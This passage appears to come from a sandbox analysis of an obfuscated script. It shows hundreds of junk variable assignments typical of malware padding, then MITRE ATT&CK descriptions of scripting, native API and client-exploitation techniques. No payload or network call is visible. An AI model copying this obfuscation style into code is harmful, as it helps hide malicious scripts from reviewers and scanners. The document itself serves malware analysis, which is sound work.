239	xqdksbzq = "l";
240	xqdksbzq = "S";
241	xqdksbzq = "O";
242	xqdksbzq = "B";
243	xqdksbzq = "Z";
244	xqdksbzq = "o";
245	xqdksbzq = "o";
246	xqdksbzq = "A";
247	xqdksbzq = "Y";
248	xqdksbzq = "x";
249	xqdksbzq = "P";
250	xqdksbzq = "p";
251	xqdksbzq = "o";
252	xqdksbzq = "Y";
253	xqdksbzq = "R";
254	xqdksbzq = "Z";
255	xqdksbzq = "v";
256	xqdksbzq = "K";
257	xqdksbzq = "F";
258	xqdksbzq = "H";
259	xqdksbzq = "m";
260	xqdksbzq = "C";
261	xqdksbzq = "H";
262	xqdksbzq = "n";
263	xqdksbzq = "l";
264	gberewxza = "j";
265	gberewxza = "p";
266	gberewxza = "o";
267	gberewxza = "k";
268	gberewxza = "M";
269	gberewxza = "j";
270	gberewxza = "O";
271	gberewxza = "q";
272	gberewxza = "D";
273	gberewxza = "G";
274	gberewxza = "W";
275	gberewxza = "v";
276	gberewxza = "R";
277	gberewxza = "-";
278	mxictkzer = "x";
279	mxictkzer = "P";
280	mxictkzer = "n";
281	mxictkzer = "S";
282	mxictkzer = "d";
283	mxictkzer = "u";
284	mxictkzer = "t";
285	mxictkzer = "Z";
286	mxictkzer = "i";
287	mxictkzer = "g";
288	mxictkzer = "U";
289	mxictkzer = "G";
290	mxictkzer = "r";
291	mxictkzer = "v";
292	mxictkzer = "j";
293	mxictkzer = "N";
294	mxictkzer = "A";
295	mxictkzer = "C";
296	mxictkzer = "L";
297	mxictkzer = "f";
298	mxictkzer = "D";
299	mxictkzer = "r";
300	mxictkzer = "M";
301	mxictkzer = "w";
302	mxictkzer = "t";
303	mxictkzer = "V";
304	mxictkzer = "k";
305	mxictkzer = "n";
306	ueoiitgks = "Z";
307	ueoiitgks = "o";
308	ueoiitgks = "J";
309	ueoiitgks = "H";
310	ueoiitgks = "J";
311	ueoiitgks = "q";
312	ueoiitgks = "P";
313	ueoiitgks = "S";
314	ueoiitgks = "l";
315	ueoiitgks = "z";
316	ueoiitgks = "D";
317	ueoiitgks = "n";
318	ueoiitgks = "Q";
319	ueoiitgks = "W";
320	ueoiitgks = "d";
321	ueoiitgks = "i";
322	ueoiitgks = "q";
323	ueoiitgks = "S";
324	ueoiitgks = "d";
325	ueoiitgks = "j";
326	ueoiitgks = "N";
327	ueoiitgks = "x";
328	ueoiitgks = "A";
329	ueoiitgks = "m";
330	ueoiitgks = "c";
331	ueoiitgks = "A";
332	ueoiitgks = "H";
333	ueoiitgks = "F";
334	ueoiitgks = "Y";
335	ueoiitgks = "E";
336	ueoiitgks = "v";
337	ueoiitgks = "g";
338	ueoiitgks = "p";
339	ueoiitgks = "b";
340	ueoiitgks = "R";
341	ueoiitgks = "V";
342	ueoiitgks = "l";
343	ueoiitgks = "A";
344	ueoiitgks = "O";
345	ueoiitgks = "v";
346	oqpji = "P";
347	sjrkjd = "B";
348	sjrkjd = "D";
349	sjrkjd = "A";
350	sjrkjd = "D";
351	sjrkjd = "c";
352	sjrkjd = "v";
353	sjrkjd = "C";
354	sjrkjd = "e";
355	sjrkjd = "O";
356	sjrkjd = "f";
357	sjrkjd = "f";
358	sjrkjd = "I";
359	sjrkjd = "r";
360	sjrkjd = "L";
361	sjrkjd = "M";
362	sjrkjd = "n";
363	sjrkjd = "h";
364	sjrkjd = "I";
365	sjrkjd = "G";
366	sjrkjd = "T";
367	sjrkjd = "w";
368	sjrkjd = "i";
369	sjrkjd = "Q";
370	sjrkjd = "t";
371	vfxkzch = "m";
372	vfxkzch = "I";
373	kejmfhljn = "v";
374	kejmfhljn = "y";
375	kejmfhljn = "C";
376	kejmfhljn = "v";
377	kejmfhljn = "Y";
378	kejmfhljn = "O";
379	kejmfhljn = "i";
380	kejmfhljn = "n";
381	kejmfhljn = "M";
382	kejmfhljn = "X";
383	kejmfhljn = "B";
384	kejmfhljn = "h";
385	kejmfhljn = "s";
386	kejmfhljn = "w";
387	kejmfhljn = "R";
388	kejmfhljn = "c";
389	kejmfhljn = "p";
390	kejmfhljn = "x";
391	kejmfhljn = "E";
392	kejmfhljn = "L";
393	kejmfhljn = "f";
394	kejmfhljn = "u";
395	kejmfhljn = "m";
396	kejmfhljn = "d";
397	kejmfhljn = "w";
398	kejmfhljn = "Y";
399	qvmqmpmb = "G";
400	qvmqmpmb = "t";
401	qvmqmpmb = "N";
402	qvmqmpmb = "I";
403	qvmqmpmb = "I";
404	qvmqmpmb = "E";
405	qvmqmpmb = "U";
406	qvmqmpmb = "D";
407	qvmqmpmb = "u";
408	qvmqmpmb = "M";
409	qvmqmpmb = "H";
410	qvmqmpmb = "z";
411	qvmqmpmb = "k";
412	qvmqmpmb = "J";
413	qvmqmpmb = "t";
414	qvmqmpmb = "q";
415	qvmqmpmb = "u";
416	qvmqmpmb = "Z";
417	qvmqmpmb = "h";
418	qvmqmpmb = "S";
419	qvmqmpmb = "w";
420	qvmqmpmb = "a";
421	qvmqmpmb = "t";
422	qvmqmpmb = "A";
423	qvmqmpmb = "Y";
424	qvmqmpmb = "y";
425	qvmqmpmb = "I";
426	qvmqmpmb = "C";
427	qvmqmpmb = "Y";
428	qvmqmpmb = "a";
429	qvmqmpmb = "a";
430	qvmqmpmb = "e";
431	qvmqmpmb = "T";
432	qvmqmpmb = "D";
433	qvmqmpmb = "g";
434	dmzqt = "E";
435	dmzqt = "K";
436	dmzqt = "Q";
437	dmzqt = "x";
438	dmzqt = "Y";
439	dmzqt = "B";
440	dmzqt = "o";
441	dmzqt = "r";
442	dmzqt = "X";
443	dmzqt = "C";
444	dmzqt = "G";
445	dmzqt = "B";
446	dmzqt = "P";
447	dmzqt = "u";
448	dmzqt = "Z";
449	dmzqt = "J";
450	dmzqt = "z";
451	dmzqt = "N";
452	dmzqt = "e";
453	dmzqt = "r";
454	dmzqt = "z";
455	dmzqt = "P";
456	dmzqt = "R";
457	dmzqt = "g";
458	dmzqt = "T";
459	dmzqt = "k";
460	xwnbycgd = "x";
461	xwnbycgd = "X";
462	xwnbycgd = "p";
463	xwnbycgd = "t";
464	xwnbycgd = "m";
465	xwnbycgd = "q";
466	xwnbycgd = "i";
467	xwnbycgd = "i";
468	xwnbycgd = "q";
469	xwnbycgd = "X";
470	xwnbycgd = "e";
471	xwnbycgd = "D";
472	xwnbycgd = "O";
473	xwnbycgd = "f";
474	cxaeyll = "g";
475	cxaeyll = "K";
476	cxaeyll = "x";
477	cxaeyll = "b";
478	cxaeyll = "R";
479	cxaeyll = "m";
480	cxaeyll = "g";
481	cxaeyll = "m";
482	cxaeyll = "e";
483	cxaeyll = "p";
484	tvxxp = "B";
485	tvxxp = "a";
486	tvxxp = "g";
487	tvxxp = "E";
488	lzsjxsvwn = "H";
489	lzsjxsvwn = "c";
490	lzsjxsvwn = "v";
491	lzsjxsvwn = "F";
492	lzsjxsvwn = "U";
493	lzsjxsvwn = "F";
494	lzsjxsvwn = "Y";
495	lzsjxsvwn = "M";
496	lzsjxsvwn = "j";
497	lzsjxsvwn = "L";
498	lzsjxsvwn = "O";
499	lzsjxsvwn = "e";
500	lzsjxsvwn = "i";
501	lzsjxsvwn = "Y";
502	lzsjxsvwn = "X";
503	lzsjxsvwn = "K";
504	lzsjxsvwn = "f";
505	lzsjxsvwn = "j";
506	lzsjxsvwn = "J";
507	lzsjxsvwn = "b";
508	lzsjxsvwn = "n";
509	lzsjxsvwn = "u";
510	lzsjxsvwn = "d";
511	lzsjxsvwn = "p";
512	lzsjxsvwn = "m";
513	lzsjxsvwn = "w";
514	lzsjxsvwn = "g";
515	lzsjxsvwn = "L";
516	lzsjxsvwn = "K";
517	lzsjxsvwn = "o";
518	lzsjxsvwn = "o";
519	lzsjxsvwn = "d";
520	lzsjxsvwn = "h";
521	lzsjxsvwn = "j";
522	cjsjhlsu = "n";
523	cjsjhlsu = "v";
524	cjsjhlsu = "S";
525	cjsjhlsu = "r";
526	cjsjhlsu = "e";
527	cjsjhlsu = "c";
528	cjsjhlsu = "a";
529	cjsjhlsu = "L";
530	cjsjhlsu = "q";
531	cjsjhlsu = "X";
532	cjsjhlsu = "x";
533	cjsjhlsu = "f";
534	cjsjhlsu = "t";
535	cjsjhlsu = "y";
536	cjsjhlsu = "c";
537	cjsjhlsu = "Z";
538	cjsjhlsu = "Q";
539	cjsjhlsu = "x";
540	cjsjhlsu = "g";
541	cjsjhlsu = "l";
542	cjsjhlsu = "s";
543	cjsjhlsu = "H";
544	cjsjhlsu = "f";
545	cjsjhlsu = "Y";
546	cjsjhlsu = "e";
547	cjsjhlsu = "K";
548	cjsjhlsu = "k";
549	cjsjhlsu = "D";
550	cjsjhlsu = "t";
551	cjsjhlsu = "Q";
552	cjsjhlsu = "P";
553	cjsjhlsu = "z";
554	cjsjhlsu = "M";
555	cjsjhlsu = "m";
556	hjphrh = "F";
557	hjphrh = "e";
558	jgdbzwteb = "h";
559	jgdbzwteb = "U";
560	jgdbzwteb = "s";
561	jgdbzwteb = "m";
562	jgdbzwteb = "c";
563	jgdbzwteb = "Y";
564	jgdbzwteb = "b";
565	jgdbzwteb = "f";
566	jgdbzwteb = "Q";
567	jgdbzwteb = "I";
568	jgdbzwteb = "m";
569	jgdbzwteb = "k";
570	jgdbzwteb = "D";
571	jgdbzwteb = "e";
572	jgdbzwteb = "w";
573	jgdbzwteb = "X";
574	jgdbzwteb = "k";
575	jgdbzwteb = "f";
576	jgdbzwteb = "W";
577	bwcdgtk = "q";
578	bwcdgtk = "E";
579	bwcdgtk = "D";
580	bwcdgtk = "g";
581	bwcdgtk = "Q";
582	bwcdgtk = "O";
583	bwcdgtk = "N";
584	bwcdgtk = "V";
585	bwcdgtk = "o";
586	bwcdgtk = "p";
587	bwcdgtk = "S";
588	bwcdgtk = "W";
589	bwcdgtk = "Q";
590	bwcdgtk = "x";
591	bwcdgtk = "i";
592	bwcdgtk = "n";
593	bwcdgtk = "k";
594	bwcdgtk = "L";
595	bwcdgtk = "h";
596	bwcdgtk = "g";
597	bwcdgtk = "B";
598	bwcdgtk = "Q";
599	bwcdgtk = "Y";
600	bwcdgtk = "b";
601	bwcdgtk = "m";
602	bwcdgtk = "Y";
603	bwcdgtk = "s";
604	bwcdgtk = "o";
605	bwcdgtk = "L";
606	bwcdgtk = "E";
607	bwcdgtk = "a";
608	bwcdgtk = "D";
609	bwcdgtk = "j";
610	bwcdgtk = "d";
611	bwcdgtk = "e";
612	bwcdgtk = "T";
613	bwcdgtk = "K";
614	bwcdgtk = "d";
615	bwcdgtk = "b";
616	bwcdgtk = "f";
617	bwcdgtk = "S";
618	bwcdgtk = "W";
619	bwcdgtk = "q";
620	bwcdgtk = "G";
621	bwcdgtk = "r";
622	hvctdun = "N";
623	hvctdun = "a";
624	hvctdun = "x";
625	nrbiyrv = "p";
626	nrbiyrv = "B";
627	nrbiyrv = "l";
628	nrbiyrv = "h";
629	nrbiyrv = "y";
630	nrbiyrv = "n";
631	nrbiyrv = "b";
632	nrbiyrv = "x";
633	nrbiyrv = "M";
634	nrbiyrv = "m";
635	nrbiyrv = "j";
636	nrbiyrv = "X";
637	nrbiyrv = "b";
638	ogfidux = "r";
639	ogfidux = "m";
640	ogfidux = "Z";
641	ogfidux = "v";
642	ogfidux = "B";
643	ogfidux = "R";
644	ogfidux = "L";
645	ogfidux = "G";
646	ogfidux = "r";
647	ogfidux = "Q";
648	qkyxl = "Q";
649	qkyxl = "q";
650	qkyxl = "A";
651	qkyxl = "b";
652	qkyxl = "Z";
653	qkyxl = "T";
654	qkyxl = "a";
655	qkyxl = "D";
656	qkyxl = "k";
657	qkyxl = "s";
658	qkyxl = "J";
659	qkyxl = "g";
660	qkyxl = "Y";
661	qkyxl = "r";
662	qkyxl = "a";
663	qkyxl = "L";
664	qkyxl = "u";
665	qkyxl = "T";
666	qkyxl = "f";
667	qkyxl = "c";
668	qkyxl = "I";
669	qkyxl = "z";
670	qkyxl = "J";
671	qkyxl = "m";
672	qkyxl = "i";
673	qkyxl = "K";
674	zvozblt = "W";
675	zvozblt = "k";
676	zvozblt = "Q";
677	zvozblt = "I";
678	zvozblt = "M";
679	zvozblt = "P";
680	zvozblt = "C";
681	zvozblt = "X";
682	zvozblt = "d";
683	zvozblt = "Z";
684	zvozblt = "y";
685	zvozblt = "s";
686	zvozblt = "M";
687	zvozblt = "Z";
688	zvozblt = ".";
689	cbqcyn = "k";
690	cbqcyn = "D";
691	cbqcyn = "q";
692	cbqcyn = "A";
693	cbqcyn = "h";
694	cbqcyn = "s";
695	cbqcyn = "E";
696	cbqcyn = "L";
697	cbqcyn = "Z";
698	cbqcyn = "O";
699	cbqcyn = "s";
700	cbqcyn = "a";
701	cbqcyn = "f";
702	cbqcyn = "a";
703	cbqcyn = "N";
704	cbqcyn = "q";
705	cbqcyn = "R";
706	cbqcyn = "T";
707	cbqcyn = "M";
708	cbqcyn = "v";
709	cbqcyn = "S";
710	odfparpy = "P";
711	odfparpy = "B";
712	odfparpy = "K";
713	odfparpy = "t";
714	odfparpy = "R";
715	odfparpy = "v";
716	odfparpy = "X";
717	odfparpy = "Q";
718	odfparpy = "k";
719	odfparpy = "r";
720	odfparpy = "i";
721	odfparpy = "X";
722	odfparpy = "Z";
723	odfparpy = "k";
724	odfparpy = "z";
725	odfparpy = "K";
726	odfparpy = "Z";
727	odfparpy = "P";
728	odfparpy = "1";
729	bsfifas = "M";
730	bsfifas = "H";
731	bsfifas = "A";
732	bsfifas = "v";
733	bsfifas = "k";
734	bsfifas = "i";
735	bsfifas = "c";
736	wifgpcn = "K";
737	wifgpcn = "H";
738	wifgpcn = "v";
739	wifgpcn = "X";
740	wifgpcn = "G";
741	wifgpcn = "Z";
742	wifgpcn = "s";
743	wifgpcn = "Y";
744	wifgpcn = "W";
745	wifgpcn = "C";
746	wifgpcn = "c";
747	wifgpcn = "h";
748	dqinm = "O";
749	dqinm = "v";
750	dqinm = "t";
751	dqinm = "f";
752	dqinm = "x";
753	dqinm = "w";
754	dqinm = "D";
755	dqinm = "C";
756	dqinm = "I";
757	dqinm = "Z";
758	dqinm = "F";
759	dqinm = "b";
760	dqinm = "m";
761	dqinm = "o";
762	dqinm = "w";
763	dqinm = "J";
764	dqinm = "G";
765	dqinm = "V";
766	dqinm = "E";
767	dqinm = "r";
768	dqinm = "V";
769	dqinm = "i";
770	dqinm = "K";
771	dqinm = "i";
772	dqinm = "O";
773	dqinm = "i";
774	oupxnah = "v";
775	oupxnah = "C";
776	oupxnah = "g";
777	oupxnah = "Q";
778	oupxnah = "l";
779	oupxnah = "b";
780	oupxnah = ":";
781	lyqdw = "P";
782	lyqdw = "H";
783	lyqdw = "i";
784	lyqdw = "k";
785	lyqdw = "F";
786	lyqdw = "P";
787	lyqdw = "G";
788	lyqdw = "P";
789	lyqdw = "B";
790	lyqdw = "n";
791	lyqdw = "K";
792	lyqdw = "k";
793	lyqdw = "q";
794	lyqdw = "j";
795	lyqdw = "w";
796	lyqdw = "u";
797	lyqdw = "F";
798	lyqdw = "4";
799	deiogss = "n";
800	deiogss = "N";
801	rvxtgjay = "V";
802	rvxtgjay = "I";
803	rvxtgjay = "U";
804	rvxtgjay = "l";
805	rvxtgjay = "M";
806	rvxtgjay = "m";
807	rvxtgjay = "P";
808	rvxtgjay = "z";
809	rvxtgjay = "Y";
810	rvxtgjay = "Q";
811	rvxtgjay = "i";
812	rvxtgjay = "H";
813	rvxtgjay = "M";
814	rvxtgjay = "S";
815	rvxtgjay = "h";
816	rvxtgjay = "l";
817	rvxtgjay = "x";
818	rvxtgjay = "n";
819	rvxtgjay = "S";
820	rvxtgjay = "D";
821	rvxtgjay = "S";
822	rvxtgjay = "u";
823	rvxtgjay = "c";
824	rvxtgjay = "A";
825	rvxtgjay = "z";
826	rvxtgjay = "D";
827	rvxtgjay = "k";
828	rvxtgjay = "Q";
829	rvxtgjay = "X";
830	rvxtgjay = "6";
831	avhldtrn = "H";
832	avhldtrn = "m";
833	avhldtrn = "K";
834	avhldtrn = "q";
835	avhldtrn = "m";
836	avhldtrn = "T";
837	avhldtrn = "B";
838	avhldtrn = "q";
839	avhldtrn = "k";
840	avhldtrn = "z";
841	avhldtrn = "f";
842	avhldtrn = "U";
843	avhldtrn = "u";
844	avhldtrn = "j";
845	avhldtrn = "v";
846	avhldtrn = "t";
847	avhldtrn = "S";
848	avhldtrn = "c";
849	avhldtrn = "F";
850	avhldtrn = "o";
851	avhldtrn = "c";
852	avhldtrn = "v";
853	avhldtrn = "w";
854	avhldtrn = "k";
855	avhldtrn = "e";
856	avhldtrn = "G";
857	avhldtrn = "C";
858	avhldtrn = "c";
859	avhldtrn = "S";
860	avhldtrn = "P";
861	avhldtrn = "f";
862	avhldtrn = "L";
863	avhldtrn = "K";
864	avhldtrn = "P";
865	avhldtrn = "d";
866	avhldtrn = "n";
867	avhldtrn = "J";
868	avhldtrn = "X";
869	avhldtrn = "e";
870	avhldtrn = "G";
871	avhldtrn = "K";
872	avhldtrn = "E";
873	avhldtrn = "D";
874	avhldtrn = "V";
875	avhldtrn = "7";
876	nkvotpc = "e";
877	nkvotpc = "U";
878	nkvotpc = "r";
879	nkvotpc = "o";
880	nkvotpc = "R";
881	nkvotpc = "n";
882	nkvotpc = "U";
883	nkvotpc = "E";
884	nkvotpc = "q";
885	nkvotpc = "Y";
886	nkvotpc = "V";
887	nkvotpc = "I";
888	nkvotpc = "A";
889	nkvotpc = "r";
890	nkvotpc = "P";
891	nkvotpc = "a";
892	nkvotpc = "L";
893	nkvotpc = "w";
894	nkvotpc = "v";
895	nkvotpc = "r";
896	nkvotpc = "T";
897	nkvotpc = "v";
898	nkvotpc = "M";
899	nkvotpc = "C";
900	nkvotpc = "5";
901	ytcpxbyd = "L";
902	ytcpxbyd = "i";
903	ytcpxbyd = "S";
904	ytcpxbyd = "q";
905	ytcpxbyd = "E";
906	ytcpxbyd = "R";
907	ytcpxbyd = "D";
908	ytcpxbyd = "g";
909	ytcpxbyd = "I";
910	ytcpxbyd = "K";
911	ytcpxbyd = "D";
912	ytcpxbyd = "z";
913	ytcpxbyd = "o";
914	ytcpxbyd = "v";
915	ytcpxbyd = "F";
916	ytcpxbyd = "L";
917	ytcpxbyd = "x";
918	ytcpxbyd = "h";
919	ytcpxbyd = "o";
920	ytcpxbyd = "z";
921	ytcpxbyd = "R";
922	ytcpxbyd = "N";
923	ytcpxbyd = "k";
924	ytcpxbyd = "p";
925	ytcpxbyd = "Y";
926	ytcpxbyd = "F";
927	ytcpxbyd = "C";
928	ytcpxbyd = "x";
929	ytcpxbyd = "h";
930	ytcpxbyd = "x";
931	ytcpxbyd = "U";
932	ytcpxbyd = "q";
933	ytcpxbyd = "F";
934	ytcpxbyd = "L";
935	ytcpxbyd = "F";
936	ytcpxbyd = "N";
937	ytcpxbyd = "m";
938	ytcpxbyd = "B";
939	ytcpxbyd = "w";
940	difmau = "H";
941	difmau = "n";
942	difmau = "L";
943	difmau = "f";
944	difmau = "k";
945	difmau = "t";
946	difmau = "D";
947	difmau = "x";
948	difmau = "q";
949	difmau = "O";
950	ponphlt = "z";
951	ponphlt = "I";
952	ponphlt = "I";
953	ponphlt = "L";
954	ponphlt = "U";
955	ponphlt = "V";
956	ponphlt = "B";
957	ponphlt = "J";
958	ponphlt = "y";
959	ponphlt = "O";
960	ponphlt = "H";
961	ponphlt = "Q";
962	ponphlt = "z";
963	ponphlt = "D";
964	ponphlt = "R";
965	ponphlt = "l";
966	ponphlt = "L";
967	ponphlt = "D";
968	ponphlt = "Y";
969	ponphlt = "l";
970	ponphlt = "H";
971	ponphlt = "x";
972	ponphlt = "e";
973	ponphlt = "k";
974	ponphlt = "r";
975	ponphlt = "x";
976	ponphlt = "m";
977	ponphlt = "H";
978	ponphlt = "h";
979	ponphlt = "C";
980	ponphlt = "G";
981	ponphlt = "v";
982	ponphlt = "o";
983	ubuijxum = "x";
984	ubuijxum = "U";
985	ubuijxum = "O";
986	ubuijxum = "B";
987	ubuijxum = "S";
988	ubuijxum = "p";
989	ubuijxum = "Z";
990	ubuijxum = "W";
991	ubuijxum = "D";
992	ubuijxum = "f";
993	ubuijxum = "s";
994	ubuijxum = "P";
995	ubuijxum = "l";
996	ubuijxum = "N";
997	ubuijxum = "c";
998	ubuijxum = "m";
999	ubuijxum = "W";
1000	ubuijxum = "p";
1001	ubuijxum = "e";
1002	ubuijxum = "N";
1003	ubuijxum = "O";
1004	ubuijxum = "e";
1005	ubuijxum = "v";
1006	ubuijxum = "x";
1007	ubuijxum = "O";
1008	ubuijxum = "v";
1009	ubuijxum = "p";
1010	ubuijxum = "t";
1011	ubuijxum = "g";
1012	ubuijxum = "G";
1013	ubuijxum = "C";
1014	ubuijxum = "v";
1015	ubuijxum = "s";
1016	ubuijxum = "R";
1017	ubuijxum = "t";
1018	ubuijxum = "E";
1019	ubuijxum = "p";
1020	ubuijxum = "v";
1021	ubuijxum = "U";
1022	ubuijxum = "j";
1023	ubuijxum = "e";
1024	ubuijxum = "N";
1025	ubuijxum = "r";
1026	ubuijxum = "\\";
1027	acwohci = "k";
1028	acwohci = "j";
1029	acwohci = "n";
1030	acwohci = "q";
1031	acwohci = "Y";
1032	acwohci = "H";
1033	acwohci = "k";
1034	acwohci = "E";
1035	acwohci = "W";
1036	acwohci = "e";
1037	acwohci = "Q";
1038	acwohci = "T";
1039	acwohci = "M";
1040	acwohci = "a";
1041	acwohci = "N";
1042	acwohci = "X";
1043	acwohci = "Y";
1044	acwohci = "X";
1045	acwohci = "s";
1046	acwohci = "n";
1047	acwohci = "g";
1048	acwohci = "M";
1049	acwohci = "e";
1050	acwohci = "z";
1051	acwohci = "Q";
1052	acwohci = "U";
1053	acwohci = "r";
1054	acwohci = "V";
1055	acwohci = "V";
1056	acwohci = "c";
1057	acwohci = "T";
1058	acwohci = "F";
1059	acwohci = "p";
1060	acwohci = "H";
1061	acwohci = "K";
1062	acwohci = "A";
1063	acwohci = "e";
1064	acwohci = "C";
1065	acwohci = "/";
1066	lxrecw = "f";
1067	lxrecw = "n";
1068	lxrecw = "v";
1069	lxrecw = "Y";
1070	lxrecw = "u";
1071	lxrecw = "U";
1072	lxrecw = "u";
1073	lxrecw = "x";
1074	lxrecw = "O";
1075	lxrecw = "A";
1076	lxrecw = "o";
1077	lxrecw = "W";
1078	lxrecw = "G";
1079	lxrecw = "N";
1080	lxrecw = "X";
1081	lxrecw = "B";
1082	lxrecw = "g";
1083	lxrecw = "X";
1084	lxrecw = "M";
1085	lxrecw = "d";
1086	lxrecw = "I";
1087	lxrecw = "w";
1088	lxrecw = "p";
1089	lxrecw = "8";
1090	fbnhql = "l";
1091	fbnhql = "M";
1092	fbnhql = "S";
1093	fbnhql = "Z";
1094	fbnhql = "H";
1095	fbnhql = "R";
1096	fbnhql = "w";
1097	fbnhql = "B";
1098	fbnhql = "e";
1099	fbnhql = "a";
1100	fbnhql = "W";
1101	fbnhql = "K";
1102	fbnhql = "d";
1103	fbnhql = "s";
1104	fbnhql = "f";
1105	fbnhql = "y";
1106	fbnhql = "L";
1107	ugcusmyp = "R";
1108	ugcusmyp = "J";
1109	ugcusmyp = "U";
1110	ugcusmyp = "F";
1111	ugcusmyp = "G";
1112	ugcusmyp = "A";
1113	ugcusmyp = "K";
1114	ugcusmyp = "c";
1115	ugcusmyp = "p";
1116	ugcusmyp = "v";
1117	ugcusmyp = "k";
1118	ugcusmyp = "A";
1119	ugcusmyp = "N";
1120	ugcusmyp = "D";
1121	ugcusmyp = "l";
1122	ugcusmyp = "R";
1123	ugcusmyp = "t";
1124	ugcusmyp = "K";
1125	ugcusmyp = "j";
1126	ugcusmyp = "P";
1127	ugcusmyp = "I";
1128	ugcusmyp = "B";
1129	ugcusmyp = "o";
1130	ugcusmyp = "J";
1131	ugcusmyp = "T";
1132	ugcusmyp = "w";
1133	ugcusmyp = "X";
1134	ugcusmyp = "M";
1135	ugcusmyp = "d";
1136	ugcusmyp = "l";
1137	ugcusmyp = "W";
1138	ugcusmyp = "p";
1139	ugcusmyp = "R";
1140	kksfjbgc = "C";
1141	kksfjbgc = "H";
1142	kksfjbgc = "y";
1143	kksfjbgc = "m";
1144	kksfjbgc = "X";
1145	kksfjbgc = "q";
1146	kksfjbgc = "k";
1147	kksfjbgc = "e";
1148	kksfjbgc = "I";
1149	kksfjbgc = "H";
1150	kksfjbgc = "a";
1151	kksfjbgc = "H";
1152	kksfjbgc = "S";
1153	kksfjbgc = "c";
1154	kksfjbgc = "f";
1155	kksfjbgc = "r";
1156	kksfjbgc = "w";
1157	kksfjbgc = "n";
1158	kksfjbgc = "v";
1159	kksfjbgc = "b";
1160	kksfjbgc = "w";
1161	kksfjbgc = "S";
1162	kksfjbgc = "S";
1163	kksfjbgc = "K";
1164	kksfjbgc = "P";
1165	kksfjbgc = "O";
1166	kksfjbgc = "K";
1167	kksfjbgc = "G";
1168	kksfjbgc = "K";
1169	kksfjbgc = "G";
1170	kksfjbgc = "A";
1171	kksfjbgc = "\"";
1172	vyayua = "I";
1173	vyayua = "j";
1174	vyayua = "F";
1175	vyayua = "X";
1176	vyayua = "C";
1177	vyayua = "K";
1178	vyayua = "L";
1179	vyayua = "q";
1180	kzcjy = "Y";
1181	kzcjy = "y";
1182	kzcjy = "k";
1183	kzcjy = "T";
1184	kzcjy = "v";
1185	kzcjy = "V";
1186	kzcjy = "c";
1187	kzcjy = "L";
1188	kzcjy = "X";
1189	kzcjy = "b";
1190	kzcjy = "g";
1191	kzcjy = "r";
1192	kzcjy = "K";
1193	kzcjy = "K";
1194	kzcjy = "P";
1195	kzcjy = "p";
1196	kzcjy = "x";
1197	kzcjy = "y";
1198	kzcjy = "k";
1199	kzcjy = "e";
1200	kzcjy = "d";
1201	kzcjy = "s";
1202	kzcjy = "B";
1203	kzcjy = "s";
1204	kzcjy = "f";
1205	kzcjy = "t";
1206	kzcjy = "J";
1207	kzcjy = "Y";
1208	kzcjy = "W";
1209	kzcjy = "d";
1210	swszmx = "W";
1211	swszmx = "X";
1212	swszmx = "B";
1213	swszmx = "K";
1214	swszmx = "O";
1215	swszmx = "c";
1216	swszmx = "P";
1217	swszmx = "e";
1218	swszmx = "u";
1219	swszmx = "x";
1220	swszmx = "H";
1221	swszmx = "X";
1222	swszmx = "b";
1223	swszmx = "t";
1224	swszmx = "k";
1225	swszmx = "c";
1226	swszmx = "P";
1227	swszmx = "o";
1228	swszmx = "X";
1229	swszmx = "K";
1230	swszmx = "W";
1231	swszmx = "X";
1232	swszmx = "p";
1233	swszmx = "p";
1234	swszmx = "Q";
1235	swszmx = "L";
1236	swszmx = "p";
1237	swszmx = "b";
1238	swszmx = "h";
1239	swszmx = "h";
1240	swszmx = "K";
1241	swszmx = "b";
1242	swszmx = "I";
1243	swszmx = "z";
1244	swszmx = "K";
1245	swszmx = "c";
1246	swszmx = "X";
1247	swszmx = "s";
1248	swszmx = "l";
1249	swszmx = "C";
1250	vjzfi = "s";
1251	vjzfi = "S";
1252	vjzfi = "j";
1253	vjzfi = "i";
1254	vjzfi = "F";
1255	vjzfi = "r";
1256	vjzfi = "k";
1257	vjzfi = "q";
1258	vjzfi = "q";
1259	vjzfi = "K";
1260	vjzfi = "y";
1261	vjzfi = "H";
1262	vjzfi = "K";
1263	vjzfi = "K";
1264	vjzfi = "l";
1265	vjzfi = "w";
1266	vjzfi = "z";
1267	vjzfi = "B";
1268	vjzfi = "R";
1269	vjzfi = "g";
1270	vjzfi = "T";
1271	vjzfi = "g";
1272	vjzfi = "u";
1273	vjzfi = "i";
1274	vjzfi = "3";
1275	sqlhfckc = "n";
1276	sqlhfckc = "n";
1277	sqlhfckc = "o";
1278	sqlhfckc = "A";
1279	sqlhfckc = "p";
1280	sqlhfckc = "f";
1281	sqlhfckc = "H";
1282	sqlhfckc = "B";
1283	sqlhfckc = "p";
1284	sqlhfckc = "Q";
1285	sqlhfckc = "g";
1286	sqlhfckc = "z";
1287	sqlhfckc = "A";
1288	sqlhfckc = "r";
1289	sqlhfckc = "m";
1290	sqlhfckc = "T";
1291	kfrrxzl ( );	kfrrxzl() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

